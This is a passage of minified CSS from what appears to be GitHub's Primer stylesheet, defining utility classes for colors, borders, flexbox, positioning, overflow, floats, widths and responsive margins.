!important}.color-bg-attention{background-color:var(--color-attention-subtle) !important}.color-bg-attention-emphasis{background-color:var(--color-attention-emphasis) !important}.color-bg-severe{background-color:var(--color-severe-subtle) !important}.color-bg-severe-emphasis{background-color:var(--color-severe-emphasis) !important}.color-bg-danger{background-color:var(--color-danger-subtle) !important}.color-bg-danger-emphasis{background-color:var(--color-danger-emphasis) !important}.color-bg-open{background-color:var(--color-open-subtle) !important}.color-bg-open-emphasis{background-color:var(--color-open-emphasis) !important}.color-bg-closed{background-color:var(--color-closed-subtle) !important}.color-bg-closed-emphasis{background-color:var(--color-closed-emphasis) !important}.color-bg-done{background-color:var(--color-done-subtle) !important}.color-bg-done-emphasis{background-color:var(--color-done-emphasis) !important}.color-bg-sponsors{background-color:var(--color-sponsors-subtle) !important}.color-bg-sponsors-emphasis{background-color:var(--color-sponsors-emphasis) !important}.color-bg-transparent{background-color:transparent !important}.color-border-default{border-color:var(--color-border-default) !important}.color-border-muted{border-color:var(--color-border-muted) !important}.color-border-subtle{border-color:var(--color-border-subtle) !important}.color-border-accent{border-color:var(--color-accent-muted) !important}.color-border-accent-emphasis{border-color:var(--color-accent-emphasis) !important}.color-border-success{border-color:var(--color-success-muted) !important}.color-border-success-emphasis{border-color:var(--color-success-emphasis) !important}.color-border-attention{border-color:var(--color-attention-muted) !important}.color-border-attention-emphasis{border-color:var(--color-attention-emphasis) !important}.color-border-severe{border-color:var(--color-severe-muted) !important}.color-border-severe-emphasis{border-color:var(--color-severe-emphasis) !important}.color-border-danger{border-color:var(--color-danger-muted) !important}.color-border-danger-emphasis{border-color:var(--color-danger-emphasis) !important}.color-border-open{border-color:var(--color-open-muted) !important}.color-border-open-emphasis{border-color:var(--color-open-emphasis) !important}.color-border-closed{border-color:var(--color-closed-muted) !important}.color-border-closed-emphasis{border-color:var(--color-closed-emphasis) !important}.color-border-done{border-color:var(--color-done-muted) !important}.color-border-done-emphasis{border-color:var(--color-done-emphasis) !important}.color-border-sponsors{border-color:var(--color-sponsors-muted) !important}.color-border-sponsors-emphasis{border-color:var(--color-sponsors-emphasis) !important}.color-fg-inherit{color:inherit !important}.details-overlay[open]>summary::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:80;display:block;cursor:default;content:" ";background:transparent}.details-overlay-dark[open]>summary::before{z-index:111;background:var(--color-primer-canvas-backdrop)}.details-reset>summary{list-style:none;transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.details-reset>summary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-reset>summary:focus:not(:focus-visible){outline:solid 1px transparent}.details-reset>summary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-reset>summary.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-reset>summary.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.details-reset>summary.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-reset>summary::before{display:none}.details-reset>summary::-webkit-details-marker{display:none}.details-overlay>summary{transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.details-overlay>summary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-overlay>summary:focus:not(:focus-visible){outline:solid 1px transparent}.details-overlay>summary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-overlay>summary.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-overlay>summary.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.details-overlay>summary.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.flex-row{flex-direction:row !important}.flex-row-reverse{flex-direction:row-reverse !important}.flex-column{flex-direction:column !important}.flex-column-reverse{flex-direction:column-reverse !important}.flex-wrap{flex-wrap:wrap !important}.flex-nowrap{flex-wrap:nowrap !important}.flex-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-justify-start{justify-content:flex-start !important}.flex-justify-end{justify-content:flex-end !important}.flex-justify-center{justify-content:center !important}.flex-justify-between{justify-content:space-between !important}.flex-justify-around{justify-content:space-around !important}.flex-items-start{align-items:flex-start !important}.flex-items-end{align-items:flex-end !important}.flex-items-center{align-items:center !important}.flex-items-baseline{align-items:baseline !important}.flex-items-stretch{align-items:stretch !important}.flex-content-start{align-content:flex-start !important}.flex-content-end{align-content:flex-end !important}.flex-content-center{align-content:center !important}.flex-content-between{align-content:space-between !important}.flex-content-around{align-content:space-around !important}.flex-content-stretch{align-content:stretch !important}.flex-1{flex:1 !important}.flex-auto{flex:auto !important}.flex-grow-0{flex-grow:0 !important}.flex-shrink-0{flex-shrink:0 !important}.flex-self-auto{align-self:auto !important}.flex-self-start{align-self:flex-start !important}.flex-self-end{align-self:flex-end !important}.flex-self-center{align-self:center !important}.flex-self-baseline{align-self:baseline !important}.flex-self-stretch{align-self:stretch !important}.flex-order-1{order:1 !important}.flex-order-2{order:2 !important}.flex-order-none{order:inherit !important}@media(min-width: 544px){.flex-sm-row{flex-direction:row !important}.flex-sm-row-reverse{flex-direction:row-reverse !important}.flex-sm-column{flex-direction:column !important}.flex-sm-column-reverse{flex-direction:column-reverse !important}.flex-sm-wrap{flex-wrap:wrap !important}.flex-sm-nowrap{flex-wrap:nowrap !important}.flex-sm-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-sm-justify-start{justify-content:flex-start !important}.flex-sm-justify-end{justify-content:flex-end !important}.flex-sm-justify-center{justify-content:center !important}.flex-sm-justify-between{justify-content:space-between !important}.flex-sm-justify-around{justify-content:space-around !important}.flex-sm-items-start{align-items:flex-start !important}.flex-sm-items-end{align-items:flex-end !important}.flex-sm-items-center{align-items:center !important}.flex-sm-items-baseline{align-items:baseline !important}.flex-sm-items-stretch{align-items:stretch !important}.flex-sm-content-start{align-content:flex-start !important}.flex-sm-content-end{align-content:flex-end !important}.flex-sm-content-center{align-content:center !important}.flex-sm-content-between{align-content:space-between !important}.flex-sm-content-around{align-content:space-around !important}.flex-sm-content-stretch{align-content:stretch !important}.flex-sm-1{flex:1 !important}.flex-sm-auto{flex:auto !important}.flex-sm-grow-0{flex-grow:0 !important}.flex-sm-shrink-0{flex-shrink:0 !important}.flex-sm-self-auto{align-self:auto !important}.flex-sm-self-start{align-self:flex-start !important}.flex-sm-self-end{align-self:flex-end !important}.flex-sm-self-center{align-self:center !important}.flex-sm-self-baseline{align-self:baseline !important}.flex-sm-self-stretch{align-self:stretch !important}.flex-sm-order-1{order:1 !important}.flex-sm-order-2{order:2 !important}.flex-sm-order-none{order:inherit !important}}@media(min-width: 768px){.flex-md-row{flex-direction:row !important}.flex-md-row-reverse{flex-direction:row-reverse !important}.flex-md-column{flex-direction:column !important}.flex-md-column-reverse{flex-direction:column-reverse !important}.flex-md-wrap{flex-wrap:wrap !important}.flex-md-nowrap{flex-wrap:nowrap !important}.flex-md-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-md-justify-start{justify-content:flex-start !important}.flex-md-justify-end{justify-content:flex-end !important}.flex-md-justify-center{justify-content:center !important}.flex-md-justify-between{justify-content:space-between !important}.flex-md-justify-around{justify-content:space-around !important}.flex-md-items-start{align-items:flex-start !important}.flex-md-items-end{align-items:flex-end !important}.flex-md-items-center{align-items:center !important}.flex-md-items-baseline{align-items:baseline !important}.flex-md-items-stretch{align-items:stretch !important}.flex-md-content-start{align-content:flex-start !important}.flex-md-content-end{align-content:flex-end !important}.flex-md-content-center{align-content:center !important}.flex-md-content-between{align-content:space-between !important}.flex-md-content-around{align-content:space-around !important}.flex-md-content-stretch{align-content:stretch !important}.flex-md-1{flex:1 !important}.flex-md-auto{flex:auto !important}.flex-md-grow-0{flex-grow:0 !important}.flex-md-shrink-0{flex-shrink:0 !important}.flex-md-self-auto{align-self:auto !important}.flex-md-self-start{align-self:flex-start !important}.flex-md-self-end{align-self:flex-end !important}.flex-md-self-center{align-self:center !important}.flex-md-self-baseline{align-self:baseline !important}.flex-md-self-stretch{align-self:stretch !important}.flex-md-order-1{order:1 !important}.flex-md-order-2{order:2 !important}.flex-md-order-none{order:inherit !important}}@media(min-width: 1012px){.flex-lg-row{flex-direction:row !important}.flex-lg-row-reverse{flex-direction:row-reverse !important}.flex-lg-column{flex-direction:column !important}.flex-lg-column-reverse{flex-direction:column-reverse !important}.flex-lg-wrap{flex-wrap:wrap !important}.flex-lg-nowrap{flex-wrap:nowrap !important}.flex-lg-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-lg-justify-start{justify-content:flex-start !important}.flex-lg-justify-end{justify-content:flex-end !important}.flex-lg-justify-center{justify-content:center !important}.flex-lg-justify-between{justify-content:space-between !important}.flex-lg-justify-around{justify-content:space-around !important}.flex-lg-items-start{align-items:flex-start !important}.flex-lg-items-end{align-items:flex-end !important}.flex-lg-items-center{align-items:center !important}.flex-lg-items-baseline{align-items:baseline !important}.flex-lg-items-stretch{align-items:stretch !important}.flex-lg-content-start{align-content:flex-start !important}.flex-lg-content-end{align-content:flex-end !important}.flex-lg-content-center{align-content:center !important}.flex-lg-content-between{align-content:space-between !important}.flex-lg-content-around{align-content:space-around !important}.flex-lg-content-stretch{align-content:stretch !important}.flex-lg-1{flex:1 !important}.flex-lg-auto{flex:auto !important}.flex-lg-grow-0{flex-grow:0 !important}.flex-lg-shrink-0{flex-shrink:0 !important}.flex-lg-self-auto{align-self:auto !important}.flex-lg-self-start{align-self:flex-start !important}.flex-lg-self-end{align-self:flex-end !important}.flex-lg-self-center{align-self:center !important}.flex-lg-self-baseline{align-self:baseline !important}.flex-lg-self-stretch{align-self:stretch !important}.flex-lg-order-1{order:1 !important}.flex-lg-order-2{order:2 !important}.flex-lg-order-none{order:inherit !important}}@media(min-width: 1280px){.flex-xl-row{flex-direction:row !important}.flex-xl-row-reverse{flex-direction:row-reverse !important}.flex-xl-column{flex-direction:column !important}.flex-xl-column-reverse{flex-direction:column-reverse !important}.flex-xl-wrap{flex-wrap:wrap !important}.flex-xl-nowrap{flex-wrap:nowrap !important}.flex-xl-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-xl-justify-start{justify-content:flex-start !important}.flex-xl-justify-end{justify-content:flex-end !important}.flex-xl-justify-center{justify-content:center !important}.flex-xl-justify-between{justify-content:space-between !important}.flex-xl-justify-around{justify-content:space-around !important}.flex-xl-items-start{align-items:flex-start !important}.flex-xl-items-end{align-items:flex-end !important}.flex-xl-items-center{align-items:center !important}.flex-xl-items-baseline{align-items:baseline !important}.flex-xl-items-stretch{align-items:stretch !important}.flex-xl-content-start{align-content:flex-start !important}.flex-xl-content-end{align-content:flex-end !important}.flex-xl-content-center{align-content:center !important}.flex-xl-content-between{align-content:space-between !important}.flex-xl-content-around{align-content:space-around !important}.flex-xl-content-stretch{align-content:stretch !important}.flex-xl-1{flex:1 !important}.flex-xl-auto{flex:auto !important}.flex-xl-grow-0{flex-grow:0 !important}.flex-xl-shrink-0{flex-shrink:0 !important}.flex-xl-self-auto{align-self:auto !important}.flex-xl-self-start{align-self:flex-start !important}.flex-xl-self-end{align-self:flex-end !important}.flex-xl-self-center{align-self:center !important}.flex-xl-self-baseline{align-self:baseline !important}.flex-xl-self-stretch{align-self:stretch !important}.flex-xl-order-1{order:1 !important}.flex-xl-order-2{order:2 !important}.flex-xl-order-none{order:inherit !important}}.position-static{position:static !important}.position-relative{position:relative !important}.position-absolute{position:absolute !important}.position-fixed{position:fixed !important}.position-sticky{position:sticky !important}@media(min-width: 544px){.position-sm-static{position:static !important}.position-sm-relative{position:relative !important}.position-sm-absolute{position:absolute !important}.position-sm-fixed{position:fixed !important}.position-sm-sticky{position:sticky !important}}@media(min-width: 768px){.position-md-static{position:static !important}.position-md-relative{position:relative !important}.position-md-absolute{position:absolute !important}.position-md-fixed{position:fixed !important}.position-md-sticky{position:sticky !important}}@media(min-width: 1012px){.position-lg-static{position:static !important}.position-lg-relative{position:relative !important}.position-lg-absolute{position:absolute !important}.position-lg-fixed{position:fixed !important}.position-lg-sticky{position:sticky !important}}@media(min-width: 1280px){.position-xl-static{position:static !important}.position-xl-relative{position:relative !important}.position-xl-absolute{position:absolute !important}.position-xl-fixed{position:fixed !important}.position-xl-sticky{position:sticky !important}}.top-0{top:0 !important}.right-0{right:0 !important}.bottom-0{bottom:0 !important}.left-0{left:0 !important}.top-auto{top:auto !important}.right-auto{right:auto !important}.bottom-auto{bottom:auto !important}.left-auto{left:auto !important}@media(min-width: 544px){.top-sm-0{top:0 !important}.right-sm-0{right:0 !important}.bottom-sm-0{bottom:0 !important}.left-sm-0{left:0 !important}.top-sm-auto{top:auto !important}.right-sm-auto{right:auto !important}.bottom-sm-auto{bottom:auto !important}.left-sm-auto{left:auto !important}}@media(min-width: 768px){.top-md-0{top:0 !important}.right-md-0{right:0 !important}.bottom-md-0{bottom:0 !important}.left-md-0{left:0 !important}.top-md-auto{top:auto !important}.right-md-auto{right:auto !important}.bottom-md-auto{bottom:auto !important}.left-md-auto{left:auto !important}}@media(min-width: 1012px){.top-lg-0{top:0 !important}.right-lg-0{right:0 !important}.bottom-lg-0{bottom:0 !important}.left-lg-0{left:0 !important}.top-lg-auto{top:auto !important}.right-lg-auto{right:auto !important}.bottom-lg-auto{bottom:auto !important}.left-lg-auto{left:auto !important}}@media(min-width: 1280px){.top-xl-0{top:0 !important}.right-xl-0{right:0 !important}.bottom-xl-0{bottom:0 !important}.left-xl-0{left:0 !important}.top-xl-auto{top:auto !important}.right-xl-auto{right:auto !important}.bottom-xl-auto{bottom:auto !important}.left-xl-auto{left:auto !important}}.v-align-middle{vertical-align:middle !important}.v-align-top{vertical-align:top !important}.v-align-bottom{vertical-align:bottom !important}.v-align-text-top{vertical-align:text-top !important}.v-align-text-bottom{vertical-align:text-bottom !important}.v-align-baseline{vertical-align:baseline !important}.overflow-visible{overflow:visible !important}.overflow-x-visible{overflow-x:visible !important}.overflow-y-visible{overflow-y:visible !important}.overflow-hidden{overflow:hidden !important}.overflow-x-hidden{overflow-x:hidden !important}.overflow-y-hidden{overflow-y:hidden !important}.overflow-auto{overflow:auto !important}.overflow-x-auto{overflow-x:auto !important}.overflow-y-auto{overflow-y:auto !important}.overflow-scroll{overflow:scroll !important}.overflow-x-scroll{overflow-x:scroll !important}.overflow-y-scroll{overflow-y:scroll !important}@media(min-width: 544px){.overflow-sm-visible{overflow:visible !important}.overflow-sm-x-visible{overflow-x:visible !important}.overflow-sm-y-visible{overflow-y:visible !important}.overflow-sm-hidden{overflow:hidden !important}.overflow-sm-x-hidden{overflow-x:hidden !important}.overflow-sm-y-hidden{overflow-y:hidden !important}.overflow-sm-auto{overflow:auto !important}.overflow-sm-x-auto{overflow-x:auto !important}.overflow-sm-y-auto{overflow-y:auto !important}.overflow-sm-scroll{overflow:scroll !important}.overflow-sm-x-scroll{overflow-x:scroll !important}.overflow-sm-y-scroll{overflow-y:scroll !important}}@media(min-width: 768px){.overflow-md-visible{overflow:visible !important}.overflow-md-x-visible{overflow-x:visible !important}.overflow-md-y-visible{overflow-y:visible !important}.overflow-md-hidden{overflow:hidden !important}.overflow-md-x-hidden{overflow-x:hidden !important}.overflow-md-y-hidden{overflow-y:hidden !important}.overflow-md-auto{overflow:auto !important}.overflow-md-x-auto{overflow-x:auto !important}.overflow-md-y-auto{overflow-y:auto !important}.overflow-md-scroll{overflow:scroll !important}.overflow-md-x-scroll{overflow-x:scroll !important}.overflow-md-y-scroll{overflow-y:scroll !important}}@media(min-width: 1012px){.overflow-lg-visible{overflow:visible !important}.overflow-lg-x-visible{overflow-x:visible !important}.overflow-lg-y-visible{overflow-y:visible !important}.overflow-lg-hidden{overflow:hidden !important}.overflow-lg-x-hidden{overflow-x:hidden !important}.overflow-lg-y-hidden{overflow-y:hidden !important}.overflow-lg-auto{overflow:auto !important}.overflow-lg-x-auto{overflow-x:auto !important}.overflow-lg-y-auto{overflow-y:auto !important}.overflow-lg-scroll{overflow:scroll !important}.overflow-lg-x-scroll{overflow-x:scroll !important}.overflow-lg-y-scroll{overflow-y:scroll !important}}@media(min-width: 1280px){.overflow-xl-visible{overflow:visible !important}.overflow-xl-x-visible{overflow-x:visible !important}.overflow-xl-y-visible{overflow-y:visible !important}.overflow-xl-hidden{overflow:hidden !important}.overflow-xl-x-hidden{overflow-x:hidden !important}.overflow-xl-y-hidden{overflow-y:hidden !important}.overflow-xl-auto{overflow:auto !important}.overflow-xl-x-auto{overflow-x:auto !important}.overflow-xl-y-auto{overflow-y:auto !important}.overflow-xl-scroll{overflow:scroll !important}.overflow-xl-x-scroll{overflow-x:scroll !important}.overflow-xl-y-scroll{overflow-y:scroll !important}}.clearfix::before{display:table;content:""}.clearfix::after{display:table;clear:both;content:""}.float-left{float:left !important}.float-right{float:right !important}.float-none{float:none !important}@media(min-width: 544px){.float-sm-left{float:left !important}.float-sm-right{float:right !important}.float-sm-none{float:none !important}}@media(min-width: 768px){.float-md-left{float:left !important}.float-md-right{float:right !important}.float-md-none{float:none !important}}@media(min-width: 1012px){.float-lg-left{float:left !important}.float-lg-right{float:right !important}.float-lg-none{float:none !important}}@media(min-width: 1280px){.float-xl-left{float:left !important}.float-xl-right{float:right !important}.float-xl-none{float:none !important}}.width-fit{max-width:100% !important}.width-full{width:100% !important}.height-fit{max-height:100% !important}.height-full{height:100% !important}.min-width-0{min-width:0 !important}.width-auto{width:auto !important}.direction-rtl{direction:rtl !important}.direction-ltr{direction:ltr !important}@media(min-width: 544px){.width-sm-auto{width:auto !important}.direction-sm-rtl{direction:rtl !important}.direction-sm-ltr{direction:ltr !important}}@media(min-width: 768px){.width-md-auto{width:auto !important}.direction-md-rtl{direction:rtl !important}.direction-md-ltr{direction:ltr !important}}@media(min-width: 1012px){.width-lg-auto{width:auto !important}.direction-lg-rtl{direction:rtl !important}.direction-lg-ltr{direction:ltr !important}}@media(min-width: 1280px){.width-xl-auto{width:auto !important}.direction-xl-rtl{direction:rtl !important}.direction-xl-ltr{direction:ltr !important}}.m-0{margin:0 !important}.mt-0{margin-top:0 !important}.mb-0{margin-bottom:0 !important}.mr-0{margin-right:0 !important}.ml-0{margin-left:0 !important}.mx-0{margin-right:0 !important;margin-left:0 !important}.my-0{margin-top:0 !important;margin-bottom:0 !important}.m-1{margin:4px !important}.mt-1{margin-top:4px !important}.mb-1{margin-bottom:4px !important}.mr-1{margin-right:4px !important}.ml-1{margin-left:4px !important}.mt-n1{margin-top:-4px !important}.mb-n1{margin-bottom:-4px !important}.mr-n1{margin-right:-4px !important}.ml-n1{margin-left:-4px !important}.mx-1{margin-right:4px !important;margin-left:4px !important}.my-1{margin-top:4px !important;margin-bottom:4px !important}.m-2{margin:8px !important}.mt-2{margin-top:8px !important}.mb-2{margin-bottom:8px !important}.mr-2{margin-right:8px !important}.ml-2{margin-left:8px !important}.mt-n2{margin-top:-8px !important}.mb-n2{margin-bottom:-8px !important}.mr-n2{margin-right:-8px !important}.ml-n2{margin-left:-8px !important}.mx-2{margin-right:8px !important;margin-left:8px !important}.my-2{margin-top:8px !important;margin-bottom:8px !important}.m-3{margin:16px !important}.mt-3{margin-top:16px !important}.mb-3{margin-bottom:16px !important}.mr-3{margin-right:16px !important}.ml-3{margin-left:16px !important}.mt-n3{margin-top:-16px !important}.mb-n3{margin-bottom:-16px !important}.mr-n3{margin-right:-16px !important}.ml-n3{margin-left:-16px !important}.mx-3{margin-right:16px !important;margin-left:16px !important}.my-3{margin-top:16px !important;margin-bottom:16px !important}.m-4{margin:24px !important}.mt-4{margin-top:24px !important}.mb-4{margin-bottom:24px !important}.mr-4{margin-right:24px !important}.ml-4{margin-left:24px !important}.mt-n4{margin-top:-24px !important}.mb-n4{margin-bottom:-24px !important}.mr-n4{margin-right:-24px !important}.ml-n4{margin-left:-24px !important}.mx-4{margin-right:24px !important;margin-left:24px !important}.my-4{margin-top:24px !important;margin-bottom:24px !important}.m-5{margin:32px !important}.mt-5{margin-top:32px !important}.mb-5{margin-bottom:32px !important}.mr-5{margin-right:32px !important}.ml-5{margin-left:32px !important}.mt-n5{margin-top:-32px !important}.mb-n5{margin-bottom:-32px !important}.mr-n5{margin-right:-32px !important}.ml-n5{margin-left:-32px !important}.mx-5{margin-right:32px !important;margin-left:32px !important}.my-5{margin-top:32px !important;margin-bottom:32px !important}.m-6{margin:40px !important}.mt-6{margin-top:40px !important}.mb-6{margin-bottom:40px !important}.mr-6{margin-right:40px !important}.ml-6{margin-left:40px !important}.mt-n6{margin-top:-40px !important}.mb-n6{margin-bottom:-40px !important}.mr-n6{margin-right:-40px !important}.ml-n6{margin-left:-40px !important}.mx-6{margin-right:40px !important;margin-left:40px !important}.my-6{margin-top:40px !important;margin-bottom:40px !important}.mt-7{margin-top:48px !important}.mb-7{margin-bottom:48px !important}.mt-n7{margin-top:-48px !important}.mb-n7{margin-bottom:-48px !important}.my-7{margin-top:48px !important;margin-bottom:48px !important}.mt-8{margin-top:64px !important}.mb-8{margin-bottom:64px !important}.mt-n8{margin-top:-64px !important}.mb-n8{margin-bottom:-64px !important}.my-8{margin-top:64px !important;margin-bottom:64px !important}.mt-9{margin-top:80px !important}.mb-9{margin-bottom:80px !important}.mt-n9{margin-top:-80px !important}.mb-n9{margin-bottom:-80px !important}.my-9{margin-top:80px !important;margin-bottom:80px !important}.mt-10{margin-top:96px !important}.mb-10{margin-bottom:96px !important}.mt-n10{margin-top:-96px !important}.mb-n10{margin-bottom:-96px !important}.my-10{margin-top:96px !important;margin-bottom:96px !important}.mt-11{margin-top:112px !important}.mb-11{margin-bottom:112px !important}.mt-n11{margin-top:-112px !important}.mb-n11{margin-bottom:-112px !important}.my-11{margin-top:112px !important;margin-bottom:112px !important}.mt-12{margin-top:128px !important}.mb-12{margin-bottom:128px !important}.mt-n12{margin-top:-128px !important}.mb-n12{margin-bottom:-128px !important}.my-12{margin-top:128px !important;margin-bottom:128px !important}.mx-auto{margin-right:auto !important;margin-left:auto !important}@media(min-width: 544px){.m-sm-0{margin:0 !important}.mt-sm-0{margin-top:0 !important}.mb-sm-0{margin-bottom:0 !important}.mr-sm-0{margin-right:0 !important}.ml-sm-0{margin-left:0 !important}.mx-sm-0{margin-right:0 !important;margin-left:0 !important}.my-sm-0{margin-top:0 !important;margin-bottom:0 !important}.m-sm-1{margin:4px !important}.mt-sm-1{margin-top:4px !important}.mb-sm-1{margin-bottom:4px !important}.mr-sm-1{margin-right:4px !important}.ml-sm-1{margin-left:4px !important}.mt-sm-n1{margin-top:-4px !important}.mb-sm-n1{margin-bottom:-4px !important}.mr-sm-n1{margin-right:-4px !important}.ml-sm-n1{margin-left:-4px !important}.mx-sm-1{margin-right:4px !important;margin-left:4px !important}.my-sm-1{margin-top:4px !important;margin-bottom:4px !important}.m-sm-2{margin:8px !important}.mt-sm-2{margin-top:8px !important}.mb-sm-2{margin-bottom:8px !important}.mr-sm-2{margin-right:8px !important}.ml-sm-2{margin-left:8px !important}.mt-sm-n2{margin-top:-8px !important}.mb-sm-n2{margin-bottom:-8px !important}.mr-sm-n2{margin-right:-8px !important}.ml-sm-n2{margin-left:-8px !important}.mx-sm-2{margin-right:8px !important;margin-left:8px !important}.my-sm-2{margin-top:8px !important;margin-bottom:8px !important}.m-sm-3{margin:16px !important}.mt-sm-3{margin-top:16px !important}.mb-sm-3{margin-bottom:16px !important}.mr-sm-3{margin-right:16px !important}.ml-sm-3{margin-left:16px !important}.mt-sm-n3{margin-top:-16px !important}.mb-sm-n3{margin-bottom:-16px !important}.mr-sm-n3{margin-right:-16px !important}.ml-sm-n3{margin-left:-16px !important}.mx-sm-3{margin-right:16px !important;margin-left:16px !important}.my-sm-3{margin-top:16px !important;margin-bottom:16px !important}.m-sm-4{margin:24px !important}.mt-sm-4{margin-top:24px !important}.mb-sm-4{margin-bottom:24px !important}.mr-sm-4{margin-right:24px !important}.ml-sm-4{margin-left:24px !important}.mt-sm-n4{margin-top:-24px !important}.mb-sm-n4{margin-bottom:-24px !important}.mr-sm-n4{margin-right:-24px !important}.ml-sm-n4{margin-left:-24px !important}.mx-sm-4{margin-right:24px !important;margin-left:24px !important}.my-sm-4{margin-top:24px !important;margin-bottom:24px !important}.m-sm-5{margin:32px !important}.mt-sm-5{margin-top:32px !important}.mb-sm-5{margin-bottom:32px !important}.mr-sm-5{margin-right:32px !important}.ml-sm-5{margin-left:32px !important}.mt-sm-n5{margin-top:-32px !important}.mb-sm-n5{margin-bottom:-32px !important}.mr-sm-n5{margin-right:-32px !important}.ml-sm-n5{margin-left:-32px !important}.mx-sm-5{margin-right:32px !important;margin-left:32px !important}.my-sm-5{margin-top:32px !important;margin-bottom:32px !important}.m-sm-6{margin:40px !important}.mt-sm-6{margin-top:40px !important}.mb-sm-6{margin-bottom:40px !important}.mr-sm-6{margin-right:40px !important}.ml-sm-6{margin-left:40px !important}.mt-sm-n6{margin-top:-40px !important}.mb-sm-n6{margin-bottom:-40px !important}.mr-sm-n6{margin-right:-40px !important}.ml-sm-n6{margin-left:-40px !important}.mx-sm-6{margin-right:40px !important;margin-left:40px !important}.my-sm-6{margin-top:40px !important;margin-bottom:40px !important}.mt-sm-7{margin-top:48px !important}.mb-sm-7{margin-bottom:48px !important}.mt-sm-n7{margin-top:-48px !important}.mb-sm-n7{margin-bottom:-48px !important}.my-sm-7{margin-top:48px !important;margin-bottom:48px !important}.mt-sm-8{margin-top:64px !important}.mb-sm-8{margin-bottom:64px !important}.mt-sm-n8{margin-top:-64px !important}.mb-sm-n8{margin-bottom:-64px !important}.my-sm-8{margin-top:64px !important;margin-bottom:64px !important}.mt-sm-9{margin-top:80px !important}.mb-sm-9{margin-bottom:80px !important}.mt-sm-n9{margin-top:-80px !important}.mb-sm-n9{margin-bottom:-80px !important}.my-sm-9{margin-top:80px !important;margin-bottom:80px !important}.mt-sm-10{margin-top:96px !important}.mb-sm-10{margin-bottom:96px !important}.mt-sm-n10{margin-top:-96px !important}.mb-sm-n10{margin-bottom:-96px !important}.my-sm-10{margin-top:96px !important;margin-bottom:96px !important}.mt-sm-11{margin-top:112px !important}.mb-sm-11{margin-bottom:112px !important}.mt-sm-n11{margin-top:-112px !important}.mb-sm-n11{margin-bottom:-112px !important}.my-sm-11{margin-top:112px !important;margin-bottom:112px !important}.mt-sm-12{margin-top:128px !important}.mb-sm-12{margin-bottom:128px !important}.mt-sm-n12{margin-top:-128px !important}.mb-sm-n12{margin-bottom:-128px !important}.my-sm-12{margin-top:128px !important;margin-bottom:128px !important}.mx-sm-auto{margin-right:auto !important;margin-left:auto !important}}@media(min-width: 768px){.m-md-0{margin:0 !important}.mt-md-0{margin-top:0 !important}.mb-md-0{margin-bottom:0 !important}.mr-md-0{margin-right:0 !important}.ml-md-0{margin-left:0 !important}.mx-md-0{margin-right:0 !important;margin-left:0 !important}.my-md-0{margin-top:0 !important;margin-bottom:0 !important}.m-md-1{margin:4px !important}.mt-md-1{margin-top:4px !important}.mb-md-1{margin-bottom:4px !important}.mr-md-1{margin-right:4px !important}.ml-md-1{margin-left:4px !important}.mt-md-n1{margin-top:-4px !important}.mb-md-n1{margin-bottom:-4px !important}.mr-md-n1{margin-right:-4px !important}.ml-md-n1{margin-left:-4px !important}.mx-md-1{margin-right:4px !important;margin-left:4px !important}.my-md-1{margin-top:4px !important;margin-bottom:4px !important}.m-md-2{margin:8px !important}.mt-md-2{margin-top:8px !important}.mb-md-2{margin-bottom:8px !important}.mr-md-2{margin-right:8px !important}.ml-md-2{margin-left:8px !important}.mt-md-n2{margin-top:-8px !important}.mb-md-n2{margin-bottom:-8px !important}.mr-md-n2{margin-right:-8px !important}.ml-md-n2{margin-left:-8px !important}.mx-md-2{margin-right:8px !important;margin-left:8px !important}.my-md-2{margin-top:8px !important;margin-bottom:8px !important}.m-md-3{margin:16px !important}.mt-md-3{margin-top:16px !important}.mb-md-3{margin-bottom:16px !important}.mr-md-3{margin-right:16px !important}.ml-md-3{margin-left:16px !important}.mt-md-n3{margin-top:-16px !important}.mb-md-n3{margin-bottom:-16px !important}.mr-md-n3{margin-right:-16px !important}.ml-md-n3{margin-left:-16px !important}.mx-md-3{margin-right:16px !important;margin-left:16px !important}.my-md-3{margin-top:16px !important;margin-bottom:16px !important}.m-md-4{margin:24px !important}.mt-md-4{margin-top:24px !important}.mb-md-4{margin-bottom:24px !important}.mr-md-4{margin-right:24px !important}.ml-md-4{margin-left:24px !important}.mt-md-n4{margin-top:-24px !important}.mb-md-n4{margin-bottom:-24px !important}.mr-md-n4{margin-right:-24px !important}.ml-md-n4{margin-left:-24px !important}.mx-md-4{margin-right:24px !important;margin-left:24px !important}.my-md-4{margin-top:24px !important;margin-bottom:24px !important}.m-md-5{margin:32px !important}.mt-md-5{margin-top:32px !important}.mb-md-5{margin-bottom:32px !important}.mr-md-5{margin-right:32px !important}.ml-md-5{margin-left:32px !important}.mt-md-n5{margin-top:-32px !important}.mb-md-n5{margin-bottom:-32px !important}.mr-md-n5{margin-right:-32px !important}.ml-md-n5{margin-left:-32px !important}.mx-md-5{margin-right:32px !important;margin-left:32px !important}.my-md-5{margin-top:32px !important;margin-bottom:32px !important}.m-md-6{margin:40px !important}.mt-md-6{margin-top:40px !important}.mb-md-6{margin-bottom:40px !important}.mr-md-6{margin-right:40px !important}.ml-md-6{margin-left:40px !important}.mt-md-n6{margin-top:-40px !important}.mb-md-n6{margin-bottom:-40px 